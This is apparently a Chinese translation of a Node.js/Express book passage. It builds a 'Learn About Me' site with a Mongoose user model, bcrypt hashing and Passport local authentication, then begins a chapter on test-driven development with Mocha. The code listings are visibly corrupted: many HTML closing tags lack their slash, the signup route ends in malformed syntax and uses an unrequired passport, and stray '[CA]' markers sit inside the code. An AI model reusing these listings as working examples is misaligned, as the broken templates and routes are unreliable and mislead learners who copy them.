最后,我们需要编写一些代码来比较实际密码和密码猜测。当用户登录时,我们需要确保他们输入的密码是正确的。让我们在模型上定义另一个方法来完成这个任务:

列表 8.6 检查用户的密码(在 models/user.js 中)

userSchema.methods.checkPassword = function(guess, done) {   bcrypt.compare(guess, this.password, function(err, isMatch) {     done(err, isMatch);   }); };

1 由于复杂的保密原因(如果你感兴趣,可以称为“时间攻击”),我们将使用 Bcrypt 的比较函数而不是像 a ===检查这样的东西。

现在我们将安全地存储用户的密码!

一旦我们定义了具有其属性和方法的模式,我们还需要将此模式附加到实际模型上。这只需要一行代码,因为我们是在文件中定义此用户模型,所以我们会确保将其导出到module.exports,以便其他文件可以require它。以下是我们的操作方法:

列表 8.7 创建并导出用户模型(在 models/user.js 中)

var User = mongoose.model("User", userSchema); module.exports = User;

这就是定义用户模型的方法!完成时,整个文件将看起来像这样:

列表 8.8 完成的 models/user.js

var bcrypt = require("bcrypt-nodejs"); var mongoose = require("mongoose"); var SALT_FACTOR = 10; var userSchema = mongoose.Schema({   username: { type: String, required: true, unique: true },   password: { type: String, required: true },   createdAt: { type: Date, default: Date.now },   displayName: String,   bio: String, }); var noop = function() {}; userSchema.pre("save", function(done) {   var user = this;   if (!user.isModified("password")) {     return done();   }   bcrypt.genSalt(SALT_FACTOR, function(err, salt) {     if (err) { return done(err); }     bcrypt.hash(user.password, salt, noop, function(err, hashedPassword) {       if (err) { return done(err); }       user.password = hashedPassword;       done();     });   }); }); userSchema.methods.checkPassword = function(guess, done) {   bcrypt.compare(guess, this.password, function(err, isMatch) {     done(err, isMatch);   }); }; userSchema.methods.name = function() {   return this.displayName || this.username; }; var User = mongoose.model("User", userSchema); module.exports = User;

8.2.3 使用我们的模型

现在我们已经定义了我们的模型,我们想要...嗯,使用它!我们想要做一些像列出用户、编辑资料和注册新账户的事情。虽然定义模型及其模式可能有点棘手,但使用它几乎不可能更简单;让我们看看如何。

为了开始使用它,我们首先在项目的根目录中创建一个简单的 app.js 文件,这将设置我们的应用程序。这个文件目前是不完整的,我们稍后会回来补充更多内容,但现在,我们将做以下事情:

列表 8.9 app.js,开始

var express = require("express");                     #1 var mongoose = require("mongoose");                   #1 var path = require("path");                       #1 var bodyParser = require("body-parser");              #1 var cookieParser = require("cookie-parser");          #1 var session = require("express-session");             #1 var flash = require("connect-flash");                 #1 var routes = require("./routes");                     #2 var app = express(); mongoose.connect("mongodb://localhost:27017/test");   #3 app.set("port", process.env.PORT || 3000); app.set("views", path.join(__dirname, "views")); app.set("view engine", "ejs"); app.use(bodyParser.urlencoded({ extended: false }));   #4 app.use(cookieParser());                               #4 app.use(session({                                      #4   secret: "TKRv0IJs=HYqrvagQ#&!F!%V]Ww/4KiVs$s,<<MX",  #4   resave: true,                                        #4   saveUninitialized: true                              #4 }));                                                   #4 app.use(flash());                                  #4 app.use(routes); app.listen(app.get("port"), function() {   console.log("Server started on port " + app.get("port"));``});

1 需要所有我们需要的东西,包括 Mongoose。

2 我们将把所有的路由放在另一个文件中。

3 连接到测试数据库中的我们的 MongoDB 服务器。

4 使用四个中间件。我们将在稍后详细解释这些。

在上面,我们指定我们将使用一个外部路由文件。让我们也定义一下。在项目的根目录中创建 routes.js

列表 8.10 routes.js,开始

var express = require("express"); var User = require("./models/user"); var router = express.Router(); router.use(function(req, res, next) {   res.locals.currentUser = req.user;       #1   res.locals.errors = req.flash("error");  #1   res.locals.infos = req.flash("info");    #1   next(); }); router.get("/", function(req, res, next) {   User.find()                                 #2   .sort({ createdAt: "descending" })          #2   .exec(function(err, users) {                #2     if (err) { return next(err); }     res.render("index", { users: users });   }); }); module.exports = router;

1 我们会回过头来讨论这个问题,但这是为我们的模板设置一些有用的变量。如果你现在还不理解,不要担心——它很快就会回来。

2 这个查询返回用户集合,首先返回最新的用户。

这两个文件包含了一些我们之前没有见过的内容。

首先,我们使用 Mongoose 通过 mongoose.connect 连接到我们的 Mongo 数据库。我们只需传递一个地址,Mongoose 就会完成剩下的工作。根据你如何安装 MongoDB,这个 URL 可能不同——例如,服务器可能在 localhost:12345/learn_about_me_db。没有这一行,我们将无法与数据库进行任何交互!

第二,我们使用 User.find 获取用户列表。然后我们按 createdAt 属性对这些结果进行排序,然后通过 exec 运行查询。实际上,我们只有在调用 exec 时才会运行查询。正如我们将看到的,我们也可以在 find 中指定一个回调,以避免使用 exec,但那样我们就不能进行排序等操作。

让我们创建主页视图。创建一个名为 views 的目录,我们将在这里放置三个文件。第一个将是 _header.ejs,这是将出现在每个页面开头的 HTML:

列表 8.11 views/_header.ejs

<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>了解我</title> <link rel="stylesheet" href="//maxcdn.bootstrapcdn.com/bootstrap [CA]/3.3.1/css/bootstrap.min.css"> <head> <body> <div class="navbar navbar-default navbar-static-top" role="navigation"> <div class="container"> <div class="navbar-header"> <a class="navbar-brand" href="/">了解我</a> <div> <ul class="nav navbar-nav navbar-right"> <% if (currentUser) { %> <li> <a href="/edit"> <%= currentUser.name() %> <a> <li> <a href="/logout">登出</a></li> <% } else { %> <li> <a href="/login">登录</a></li> <li> <a href="/signup">注册</a></li> <% } %> <ul> <div> <div class="container"> <% errors.forEach(function(error) { %> <div class="alert alert-danger" role="alert"> <%= error %> <div> <% }) %> <% infos.forEach(function(info) { %> <div class="alert alert-info" role="alert"> <%= info %> <div> <% }) %> <div>

1 如果用户已登录,我们将更改导航栏。我们还没有这个代码,所以用户看起来总是未登录。

你可能会注意到这个文件以下划线开头。它不是 header.ejs,而是 _header.ejs。这是一个常见的约定:不直接渲染的视图以下划线开头。你永远不会直接渲染头部——另一个视图将包含头部。

接下来,让我们在 _footer.ejs 中创建页脚:

列表 8.12 views/_footer.ejs

</div> </body> </html>

最后,创建 index.ejs,这是实际的首页。这将从我们渲染此视图时传递给我们的 users 变量中获取。

列表 8.13 views/index.ejs

<% include _header %> <h1>欢迎来到了解我!</h1> <% users.forEach(function(user) { %> <div class="panel panel-default"> <div class="panel-heading"> <a href="/users/<%= user.username %>"> <%= user.name() %> <a> <div> <% if (user.bio) { %> <div class="panel-body"><%= user.bio %></div> <% } %> <div> <% }) %> <% include _footer %>

如果你保存了所有内容,启动你的 MongoDB 服务器,并运行 npm start,然后在浏览器中访问 localhost:3000,你不会看到太多,但你将看到一个看起来像这样的首页:

图 8.2 空的 LAM 首页

如果你没有收到任何错误,那真是太好了!这意味着你正在查询你的 Mongo 数据库,并且获取了其中的所有用户...只是目前恰好没有用户!

让我们在页面上添加两个额外的路由:一个用于注册页面,另一个用于实际注册。为了使用它,我们需要确保我们使用body-parser中间件来解析表单数据。下面是它们的样式:

列表 8.14 向 app.js 添加 body-parser 中间件

var bodyParser = require("body-parser");               #1    app.use(bodyParser.urlencoded({ extended: false }));   #1  

1 在我们的应用程序中需要并使用 body-parser 中间件。

列表 8.15 向 routes.js 添加注册路由

 router.get("/signup", function(req, res) {    res.render("signup");  });  router.post("/signup", function(req, res, next) {    var username = req.body.username;                            #1    var password = req.body.password;                            #1    User.findOne({ username: username }, function(err, user) {   #2      if (err) { return next(err); }      if (user) {                                                #3        req.flash("error", "用户已存在");               #3        return res.redirect("/signup");                        #3      }                                                  #3      var newUser = new User({                                   #4        username: username,                                      #4        password: password               #4      });                                                #4      newUser.save(next);                                        #5    });  }, passport.authenticate("login", {            #6    successRedirect: "/",    failureRedirect: "/signup",    failureFlash: true }););`

1 body-parser填充req.body,我们在这里可以看到它包含注册的用户名和密码。将extended设置为false使解析更简单、更安全,原因我们将在第十章中看到。

2 我们调用findOne来只返回一个用户。我们在这里希望匹配用户名。

3 如果我们找到一个用户,我们应该退出,因为该用户名已经存在。

4 创建一个新的用户模型实例,包含用户名和密码。

5 将新用户保存到数据库中,并继续到下一个请求处理器(下面)。

6 当我们全部完成时,我们应该验证用户。

上述代码有效地将新用户保存到我们的数据库中!让我们通过创建views/signup.ejs来添加一个用户界面:

列表 8.16 views/signup.ejs

<% include _header %>  <h1>注册</h1>  <form action="/signup" method="post">    <input name="username" type="text" class="form-control" placeholder="用户名" required autofocus>    <input name="password" type="password" class="form-control" placeholder="密码" required>    <input type="submit" value="注册" class="btn btn-primary btn-block">  </form>  <% include _footer %>

现在,当你提交这个表单时,它会与服务器代码通信并注册一个新用户!使用npm start启动服务器,然后转到注册页面(在localhost:3000/signup)。创建几个账户,你会在主页上看到它们!

图 8.3 创建几个用户后的早期 LAM 主页

图 8.4 LAM 注册页面

在我们不得不编写登录和登出代码之前,最后一项业务是查看个人资料。我们将为这个功能添加一个额外的路由,它看起来像这样:

列表 8.17 个人资料路由(在 routes.js 中)

router.get("/users/:username", function(req, res, next) {   User.findOne({ username: req.params.username }, function(err, user) {     if (err) { return next(err); }     if (!user) { return next(404); }     res.render("profile", { user: user });   }); });``…

再次强调,我们将使用findOne,但在这个情况下,我们将实际将找到的用户传递到视图中。说到这里,profile.ejs将看起来像这样:

列表 8.18 视图/profile.ejs

<% include _header %> <% if ((currentUser) && (currentUser.id === user.id)) { %>   <a href="/edit" class="pull-right">编辑你的个人资料</a> <% } %> <h1><%= user.name() %></h1> <h2>加入时间 <%= user.createdAt %></h2> <% if (user.bio) { %>   <p><%= user.bio %></p> <% } %>   <% include _footer %>`

1 这引用了 currentUser 变量,一旦我们添加了登录和登出功能,这个变量就会出现。目前,这始终评估为 false。

现在我们可以查看用户个人资料了!如图 8.5 所示查看:

图 8.5 LAM 个人资料页面

现在我们可以创建和查看用户个人资料了。接下来,我们需要添加登录和登出功能,以便用户可以编辑他们现有的个人资料。让我们看看这是如何工作的!

8.3     使用 Passport 认证用户

在本章中,我们一直在创建“了解我”,一个允许用户创建和浏览个人资料的网站。我们已经实现了主页、“查看个人资料”页面,甚至还有注册功能!

但目前,我们的应用程序对用户模型没有任何“特殊”的了解。它们没有认证,所以它们可以像蛋糕模型或玉米卷模型一样——你可以像查看和创建其他对象一样查看和创建它们。我们将需要实现用户认证。我们需要一个登录页面,当前登录用户的概念(你已经在几个地方看到了 currentUser),以及实际验证密码。

对于这个,我们将选择 Passport。正如其文档所述,“Passport 是 Node 的认证中间件。它旨在服务于单一目的:认证请求。”我们将把这个中间件放入我们的应用程序中,编写一些代码来连接我们的用户,然后我们就可以开始工作了!Passport 为我们省去了很多麻烦。

重要的是要记住,Passport 并不规定你如何验证用户;它只是提供有用的样板代码。在这方面,它与 Express 类似。在本章中,我们将探讨如何使用 Passport 验证存储在 MongoDB 数据库中的用户,但 Passport 支持与 Facebook、Google、Twitter 以及 100 多个其他提供者的身份验证。它极其模块化和强大!

8.3.1  设置 Passport

当设置 Passport 时,你需要做三件事:

1.  设置 Passport 中间件;这相当简单。

2.  告诉 Passport 如何序列化和反序列化用户。这是一小段代码,它有效地将用户的会话转换为实际的用户对象。

3.  告诉 Passport 如何验证用户。在这种情况下,这是我们代码的主体部分,它将指导 Passport 如何与我们的 MongoDB 数据库通信。

让我们开始吧。

设置 PASSPORT 中间件

为了初始化 Passport,你需要设置三个官方 Express 中间件、一个第三方中间件以及两个 Passport 中间件。供你参考,它们是:

1. body-parser

2. cookie-parser

3. express-session

4. connect-flash

5. passport.initialize

6. 护照会话

我们已经包含了一些这些中间件:body-parsercookie-parserexpress-sessionconnect-flash。第一个用于解析 HTML 表单。cookie-parserexpress-session 处理用户会话;前者用于解析来自浏览器的 cookies,后者用于在不同浏览器之间存储会话。我们还使用 connect-flash 来显示错误信息。

之后,确保你 require Passport,然后你将使用它提供的两个中间件函数。将这些放在你的应用程序顶部(并确保你也 require 它们):

列表 8.19 在 app.js 中设置 Passport 的中间件

var bodyParser = require("body-parser"); var cookieParser = require("cookie-parser"); var flash = require("connect-flash"); var passport = require("passport"); var session = require("express-session"); app.use(bodyParser.urlencoded({ extended: false })); app.use(cookieParser()); app.use(session({   secret: "TKRv0IJs=HYqrvagQ#&!F!%V]Ww/4KiVs$s,<<MX",   #1   resave: true,                                           #2   saveUninitialized: true                               #3 })); app.use(flash()); app.use(passport.initialize()); app.use(passport.session());

1 会话需要一个名为 "session secret" 的东西,它允许每个会话从客户端加密。这阻止黑客攻击用户的 cookies。它需要是一堆随机字符(不一定是上面我有的那些!)。

2 会话中间件需要设置此选项,这会强制会话在未修改的情况下更新。

3 saveUninitialized 是另一个必需的选项。这也重置会话,但重置的是未初始化的会话。

设置好之后,你就可以继续下一步:告诉 Passport 如何从会话中提取用户。

序列化和反序列化用户

Passport 需要知道如何序列化和反序列化用户。换句话说,我们需要将用户的会话转换为实际的用户对象,反之亦然。Passport 的文档比我能描述的做得更好:

在典型的网络应用程序中,用于验证用户的凭证仅在登录请求期间传输。如果身份验证成功,将通过用户浏览器中设置的 cookie 建立并维护一个会话。

每个后续请求将不包含凭证,而是包含标识会话的唯一 cookie。为了支持登录会话,Passport 将将 user 实例序列化和反序列化到会话中。

为了使我们的代码分离,我们将定义一个新的文件,名为 setuppassport.js。这个文件将导出一个函数,该函数将设置这个 Passport 东西。创建 setuppassport.js 并从 app.jsrequire 它:

列表 8.20 在 app.js 中引入和使用 Passport 设置

var setUpPassport = require("./setuppassport"); var app = express(); mongoose.connect("mongodb://localhost:27017/test"); setUpPassport();

现在,让我们填写我们的 Passport 设置。

由于我们所有的用户模型都有一个唯一的 _id 属性,我们将使用它作为我们的“转换”。首先,确保你已经 require 了你的用户模型。接下来,指导 Passport 如何从其 ID 中序列化和反序列化用户。这段代码可以放在 Passport 中间件之前或之后;放在你想要的位置!

列表 8.21 序列化和反序列化用户(在 setuppassport.js 中)

var passport = require("passport"); var User = require("./models/user"); module.exports = function() {   passport.serializeUser(function(user, done) {  #1     done(null, user._id);                        #1   });   passport.deserializeUser(function(id, done) {  #2     User.findById(id, function(err, user) {      #2       done(err, user);                           #2     });   });

1 serializeUser 应将用户对象转换为 ID。我们调用 done 并不带错误和用户 ID。

2 deserializeUser 应将 ID 转换为用户对象。一旦完成,我们调用 done 并带任何错误和用户对象。

现在,一旦处理了会话,就到了做困难的部分:实际的身份验证。

真正的身份验证

Passport 的最后一部分是设置一个称为策略的东西。一些策略包括与 Facebook 或 Google 等网站进行身份验证;我们将使用的策略称为本地策略。简而言之,这意味着身份验证由我们来完成,这意味着我们不得不编写一些 Mongoose 代码。

首先,将 Passport 本地策略引入到一个名为 LocalStrategy 的变量中:

列表 8.22 在 setuppassport.js 中引入 Passport LocalStrategy

var LocalStrategy = require("passport-local").Strategy;``…

接下来,您需要告诉 Passport 如何使用该本地策略。我们的认证代码将通过以下步骤运行:

1.  查找具有提供的用户名的用户。

2.  如果没有用户存在,则我们的用户未认证;可以说我们已完成,信息为“没有用户有那个用户名!”

3.  如果用户存在,比较他们的真实密码与我们提供的密码。如果密码匹配,则返回当前用户。如果不匹配,则返回“无效密码。”

现在,让我们将这段英文翻译成 Passport 代码:

列表 8.23 我们的 Passport 本地策略(在 setuppassport.js 中)

  passport.use("login", new LocalStrategy(                              #1 [CA]function(username, password, done) {                              #1   User.findOne({ username: username }, function(err, user) {          #2     if (err) { return done(err); }     if (!user) {                                                      #3       return done(null, false,                                        #3       [CA]{ message: "No user has that username!" });                 #3     }                                                                 #3     user.checkPassword(password, function(err, isMatch) {       if (err) { return done(err); }       if (isMatch) {         return done(null, user);                            #4       } else {         return done(null, false,         [CA]{ message: "Invalid password." });              #5       }     });   }); }));``…

1 这是告诉 Passport 使用本地策略的方式。

2 使用我们之前见过的 MongoDB 查询来获取一个用户。

3 如果没有用户具有提供的用户名,则返回带有错误信息的 false。调用我们在 User 模型中之前定义的 checkPassword 方法。

4 如果匹配,则不带错误返回当前用户。

5 如果不匹配,则返回带有错误信息的 false。

如您所见,您实例化了一个LocalStrategy。一旦这样做,您就可以在完成时调用 done 回调!如果找到了用户对象,您将返回该对象,否则返回false

路由和视图

最后,让我们设置其余的视图。我们仍然需要:

·  登录

·  登出

·  个人资料编辑(当你登录时)

让我们从登录开始。GET 路由将非常直接,只需渲染视图:

列表 8.24 GET /login(在 routes.js 中)

  router.get("/login", function(req, res) {   res.render("login"); });``…

这就是视图,在login.ejs中看起来会是什么样子。它将只是一个简单的表单,接受用户名和密码,然后向/login发送 POST 请求:

列表 8.25 视图/login.ejs

<% include _header %> <h1>登录</h1> <form action="/login" method="post">   <input name="username" type="text" class="form-control"   [CA]placeholder="用户名" required autofocus>   <input name="password" type="password" class="form-control"   [CA]placeholder="密码" required>   <input type="submit" value="登录" class="btn btn-primary btn-block"> </form>   <% include _footer %>

接下来,我们将定义对 /login 的 POST 请求的处理程序。这将处理 Passport 的认证。确保在文件顶部 require 它:

列表 8.26 执行登录(在 routes.js 中)

var passport = require("passport"); router.post("/login", passport.authenticate("login", {   successRedirect: "/",   failureRedirect: "/login",   failureFlash: true           #1 }));``…

1 如果用户登录失败,则使用 connect-flash 设置错误消息。

passport.authenticate 返回一个请求处理器函数,我们将其传递而不是自己编写。这让我们可以根据用户是否成功登录来重定向到正确的位置。

使用 Passport,登出也非常简单。你只需要调用 Passport 添加的新函数 req.logout

列表 8.27 登出(在 routes.js 中)

router.get("/logout", function(req, res) {   req.logout();   res.redirect("/"); });``…

Passport 将填充 req.user,而 connect-flash 将填充一些闪存值。我们之前添加了这段代码,但现在来看看它;因为你可能会更好地理解它:

列表 8.28 将数据传递到视图中(在 routes.js 中)

router.use(function(req, res, next) {   res.locals.currentUser = req.user;         #1   res.locals.errors = req.flash("error");   res.locals.infos = req.flash("info");   next(); });

1 每个视图现在都可以访问到 currentUser,它从 req.user 中获取,由 Passport 填充。

现在我们只有编辑页面,看看这个!我们可以登录和登出。

接下来,让我们创建一些确保用户已认证的实用中间件。我们实际上不会使用这个中间件;我们只是定义它,以便后续的路由可以使用它。我们将它命名为 ensureAuthenticated,如果用户未认证,我们将重定向到登录页面。

列表 8.29 用于确定用户是否认证的中间件(在 routes.js 中)

function ensureAuthenticated(req, res, next) {   if (req.isAuthenticated()) {                                    #1     next();   } else {     req.flash("info", "您必须登录才能查看此页面.");     res.redirect("/login");   } }

1 req.isAuthenticated 是 Passport 提供的函数。

现在,让我们使用这个中间件来创建“编辑个人资料”页面。

当我们获取编辑页面时,我们只需渲染视图,但在做之前,我们想确保用户已经认证。我们只需将ensureAuthenticated传递给我们的路由,然后一切照旧。以下是这样做的方法:

列表 8.30 GET /edit (在 router.js 中)

router.get("/edit", ensureAuthenticated, function(req, res) {    #1   res.render("edit"); });

1 首先,我们确保用户已经认证,然后如果他们没有被重定向,我们运行我们的请求处理程序。

如你所见,一切如我们所见,只是我们在请求处理程序之前放置了我们的中间件。

现在让我们定义编辑视图。这将位于edit.ejs中,是一个简单的表单,允许用户更改他们的显示名称和传记:

列表 8.31 视图/edit.ejs

<% include _header %> <h1>编辑您的个人资料</h1> <form action="/edit" method="post">   <input name="displayname" type="text" class="form-control"   [CA]placeholder="显示名称"   [CA]value="<%= currentUser.displayName || "" %>">   <textarea name="bio" class="form-control"   [CA]placeholder="告诉我们关于您自己的事情!">   [CA]<%= currentUser.bio || "" %></textarea>   <input type="submit" value="更新" class="btn"   [CA]btn-primary btn-block"> </form> <% include _footer %>

现在,让我们用 POST 处理程序来处理那个表单。这也会确保使用ensureAuthenticated进行认证,否则将更新我们的模型并将其保存到我们的 MongoDB 数据库中。

列表 8.32 POST /edit (在 routes.js 中)

router.post("/edit", ensureAuthenticated, function(req, res, next) {  #A   req.user.displayName = req.body.displayname;   req.user.bio = req.body.bio;   req.user.save(function(err) {     if (err) {       next(err);       return;     }     req.flash("info", "个人资料已更新!");     res.redirect("/edit");   }); });

A 通常,这应该是一个 PUT 请求,但浏览器只支持 HTML 表单中的 GET 和 POST。

这里没有什么特别的地方;我们只是更新了 MongoDB 数据库中的用户。记住,Passport 会为我们填充req.user

突然,我们有了我们的个人资料编辑器!

图 8.6 个人资料编辑器

现在我们能够编辑个人资料了,创建一些假用户并编辑他们的个人资料。查看我们的基本完成的应用程序“了解我”!

图 8.7 LAM 主页

现在你有一个真正的应用程序了!

8.4     总结

在本章中,你学习了:

·  MongoDB 是如何工作的:它是一个允许你存储 JavaScript 风格对象的数据库

·  如何使用 Mongoose,一个官方的 MongoDB 库,用 Node 控制数据库

·  如何使用 bcrypt 安全地创建用户账户

·  如何使用 Passport 进行用户认证

9  测试 Express 应用程序

编写可靠的代码可能很困难。即使是小型软件也可能过于复杂,以至于一个人难以处理,这可能导致错误。开发者们已经想出了一些技巧来尝试消除这些错误。编译器和语法检查器会自动扫描你的代码以查找潜在的错误;同行代码审查让其他人查看所写内容,看看他们是否能发现错误;风格指南可以帮助开发团队保持一致。这些都是我们用来使代码更可靠、更无错误的帮助性技巧。

另一种解决错误的有力方法是自动化测试。自动化测试让我们能够将我们希望软件如何行为编码化(字面上!)并且让我们更有信心地说“我的代码是正确的!”它让我们在重构代码时不用担心是否破坏了某些东西,并且给我们提供了关于代码失败位置的简单反馈。

我们希望我们的 Express 应用程序也能获得这些好处!在本章结束时,你将:

·  了解在高级别进行测试的动机

·  了解不同类型的测试

·  能够进行测试驱动开发,理解和使用开发的红-绿-重构模型

·  编写、运行和组织测试以确保你的函数和模型按预期工作(使用称为 Mocha 和 Chai 的工具)

·  使用 Supertest 模块测试你的 Express 应用程序以确保你的服务器表现如预期

·  测试 HTML 响应以确保你的视图生成了正确的 HTML(使用一个类似 jQuery 的模块 Cheerio)

让我们开始将这些组件组合起来。

9.1     什么是测试以及为什么它很重要?

毫不奇怪,你想象中的代码行为和实际行为之间往往存在脱节。没有程序员能够 100%地写出没有错误的代码;这是我们职业的一部分。

例如,如果我们正在编写一个简单的计算器,我们知道我们想要它执行加法、减法、乘法和除法。我们可以每次更改时手动测试这些功能——在做出这个更改后,1 加 1 仍然等于 2 吗?12 除以 3 仍然等于 4 吗?——但这可能很繁琐且容易出错。

我们可以编写自动化测试,这实际上是将这些愿望转化为代码。我们编写的代码是“确保,用我们的计算器,1 + 1 等于 2,以及 12 除以 3 等于 4”。这实际上是对你程序的规范,但它不是用英语写的——它是用计算机代码写的,这意味着你可以自动验证它。“测试”通常简称为“自动化测试”,它只是当运行测试代码来验证你的“真实”代码时。

这种自动验证有许多优点。

最重要的是,你可以对自己的代码可靠性更有信心。如果你已经编写了一个计算机可以自动运行以验证你的程序的严格规范,那么一旦你编写了它,你就可以对其正确性更有信心。

当你想更改代码时,这也非常有帮助。一个常见的问题是,你有一个正在运行的程序,但你希望程序的一部分被重写(可能是为了优化或清理)。没有测试,你必须手动验证旧代码的行为是否与新代码一致。有了自动化测试,你可以确信这种重构不会破坏任何东西。

自动测试也少了很多繁琐。想象一下,每次你想测试你的计算器时,你都必须确保 1 + 1 = 2,1 – 1 = 0,1 – 3 = -2……等等。这会很快变得无聊!计算机在处理这种繁琐的事情上非常出色。

简而言之:我们编写测试是为了能够自动验证我们的代码(可能)是正确的。

9.1.1 测试驱动开发

想象一下,你正在编写一个小型的 JavaScript 代码,用于将图像调整到适当的尺寸,这是网络应用中常见的任务。当传递一个图像和尺寸时,你的函数将返回调整到这些尺寸的图像。也许你的老板分配了这个任务,或者也许是你的个人动力,但无论如何,规范都很明确。

假设我已经说服你为这个项目编写自动化测试;上面的段落已经打动了你。你什么时候编写测试?你可以在编写图像缩放器之后编写测试,但你也可以改变顺序,先编写测试。

首先编写测试具有许多优点。

当你首先编写测试时,你实际上是在将你的规范编码化。当你完成测试编写后,你就告诉了计算机如何提问:我的代码完成了吗?如果你有任何失败的测试,那么你的代码没有符合规范。如果你的所有测试都通过了,那么你知道你的代码按照你的指定工作。先编写代码可能会误导你,并且你会编写不完整的测试。

你可能使用过一个非常易于使用的 API。代码简单直观。当你首先编写测试时,你被迫在编写代码之前思考代码应该如何工作。这可以帮助你设计出一些人称之为“梦想代码”的东西;最容易使用的代码接口。TDD 可以帮助你看到代码应该如何工作的整体图景,并使设计更加优雅。

这种“先编写测试”的哲学被称为测试驱动开发,简称 TDD。之所以这样命名,是因为你的测试决定了你的代码如何形成。

TDD 确实可以帮助你,但有时它可能会让你慢下来。如果你的规范不明确,你可能会花很多时间写测试,结果却发现你实际上并不想实现你设定的目标!现在你有了所有这些无用的测试和一些浪费的时间。TDD 可能会限制你的灵活性,特别是如果你的规范有些模糊不清。

如果你根本不写测试,那么 TDD 就与你非常哲学相悖,你根本不会写测试!

一些人在他们的所有开发中都采用 TDD——先测试再回家。其他人则强烈反对它。它既不是银弹,也不是致命的毒药;决定 TDD 是否适合你和你写的代码。在本章中,我们将使用一些 TDD,但不要把它当作无条件的支持。它在某些情况下很好,但在其他情况下则不是那么好。

TDD 是如何工作的:红、绿、重构

TDD 周期通常在三个重复的步骤中工作,称为红、绿、重构,如图 9.1 所示。

图片

图 9.1 TDD 的重复红-绿-重构周期。

  1. 步骤 1 是“红”步骤。因为它是 TDD,你先写测试。在你写任何真正的代码之前写这些测试,你的所有测试都不会通过——当没有写任何真正的代码时,它们怎么可能通过呢?在红色步骤中,你写所有的测试并运行它们,以观察它们全部失败。这个步骤之所以被称为红色步骤,是因为你通常会在失败的测试中看到红色。

  2. 步骤 2 是“绿”步骤。现在你已经写完了所有的测试,你开始“填充”真正的代码以满足所有测试。随着你的进展,你的测试将慢慢从红色(失败)变为绿色(通过)。就像上一个步骤一样,它被称为“绿”步骤,因为你通常会在通过测试时看到绿色。一旦你全部都是绿色(所有测试都通过),你就准备好进行最后一步了。

  3. 步骤 3 是“重构”步骤。如果你的所有测试都是绿色,这意味着你的所有代码都工作,但它可能并不完美。也许你的某个函数运行缓慢,或者你选择了不好的变量名。就像作家清理书籍草稿一样,你回去清理代码。因为你有了所有的测试,你可以重构而不必担心你会破坏代码中未预见的某个部分。

  4. 步骤 4 是重复这个过程。你可能还没有为项目写完所有的代码,所以回到步骤 1,为下一部分写一些测试。

这是我们如何可能使用红-绿-重构来处理我们的图像调整大小:

· 首先,“红”步骤。我们会写一些测试。例如:如果我们传递一个 JPEG 图像,我们的函数应该返回一个 JPEG 图像;如果我们传递一个 PNG 图像,我们的函数应该返回一个 PNG 图像。 这些测试并不完整,但这是一个好的起点。

·  接下来是“绿色”步骤。现在我们已经有了一些测试,我们将填充代码以使测试通过。请注意,我们还没有编写任何测试来说明我们应该调整图像大小,只是说我们应该返回相同的文件类型。所以我们还没有编写图像调整大小的代码!我们只是返回图像,这样所有的测试都可以通过。

·  现在轮到重构步骤了。

9.1.2  基本规则:当有疑问时,进行测试

简而言之,你几乎永远不能有太多的测试。

如你所能想象,成功的测试并不一定意味着你的代码是正确的。例如,如果你正在测试一个函数,你可以测试该函数是否是一个函数。这是一个非常有效的测试,但如果这是你唯一的测试,那么当所有测试都成功时,你可能会被误导,认为你的代码是正确的。

由于这个原因,你希望尽可能多地测试你的代码。你希望检查你软件的每一个(合理的)角落和缝隙,以确保它按预期工作。你通过的测试越多,你越接近确信你的代码按预期工作。你永远不能 100%确定——可能在你没有考虑到的地方某处会出问题——但如果你已经把你能想到的所有东西都应用到代码上,它很可能是在正常工作的。

代码覆盖率

测试可以使你对你的代码更有信心,但这只是众多方法中的一种。正如我们在本章开头所讨论的,还有许多其他方法,比如同行评审和代码检查器。测试的扩展,以进一步增强你的信心,就是代码覆盖率的概念。

代码覆盖率工具会查看你的代码有多少是被测试“覆盖”的。你可以想象为你的代码编写 10 个通过测试,但完全忽略了一个完全损坏的函数!代码覆盖率工具会告诉你哪些代码部分没有被测试,因此未经测试。在 Node.js 的世界里,最流行的代码覆盖率工具似乎是 Istanbul。我们在这里不会介绍它,但如果你在寻找更多的信心,可以看看 Istanbul。

失去的时间是唯一不编写测试的理由。这不仅是对计算机的失去时间——一些测试可能计算成本很高——也是对你这个人的失去时间——编写测试需要时间!

9.2     Mocha 测试框架简介

就像只用 Node.js 就能编写 Web 服务器一样,只用 Node.js 也能编写测试。我们可以创建一个文件,检查一系列条件以确保一切按正常工作,然后我们可以使用console.log输出结果。就像 Express 一样,我们可能会发现这种方法“原始”且冗长,我们可能需要编写大量的样板代码才能编写测试。

Mocha 是一个测试框架,有助于减少一些头痛问题。(顺便说一下,它是 Express 的原始创建者编写的。)它为你提供了一个组织测试的好语法,并具有异步测试支持和易于阅读的输出等几个其他功能。它并不特定于 Express,因此你可以用它来测试 Express 应用程序、JavaScript 函数、数据库模型以及 Node 运行时内部运行的任何其他内容。

在我们开始测试 Express 应用程序之前,让我们先测试一个简单的函数,看看它是如何完成的。

假设我们想要编写一个名为capitalize的函数,该函数将字符串的第一个字符转换为大写,并将字符串的其余部分转换为小写。例如,"hello WORLD"将变成"Hello world"

9.2.1  Node.js 测试是如何工作的?

在 Node.js 应用程序中进行测试有三个主要部分:“真实”代码(由你编写),测试代码(由你编写),以及测试运行器(通常是第三方模块,可能不是由你编写)。

1.  “真实”代码是你想要测试的任何内容。这可能是一个函数、数据库模型或 Express 服务器。在 Node.js 环境中,这是任何将内容分配给module.exports的东西。

2.  测试代码测试你的“真实”代码。这些将require你想要测试的内容,然后开始对其提问。函数返回了它应该返回的内容吗?你的对象表现如预期吗?

3.  测试运行器是一个在你的计算机上运行的可执行文件。这是一个检查你的测试代码并运行它的可执行文件。测试运行器通常会打印出诸如“这些测试通过了,这些测试失败了,以及失败的原因”和“测试运行了 100 毫秒”等信息。在本章中,我们将使用 Mocha,但你在 JavaScript 职业生涯中可能使用过 Jasmine 或 Qunit。你可能在前世中使用过 Rspec 或 Junit。

真实代码和你的测试代码都位于同一个仓库中。我们还将 Mocha(我们的测试运行器)定义为依赖项,并将其本地安装到我们的仓库中。

9.2.2  设置 Mocha 和 Chai 断言库

让我们尝试编写这个的第一个版本。创建一个新的目录并在其中创建一个文件:capitalize.js,然后放入以下内容:

列表 9.1:capitalize 函数的第一个版本(在 capitalize.js 中)

function capitalize(str) {   var firstLetter = str[0].toUpperCase();   var rest = str.slice(1).toLowerCase();   return firstLetter + rest; }  module.exports = capitalize;

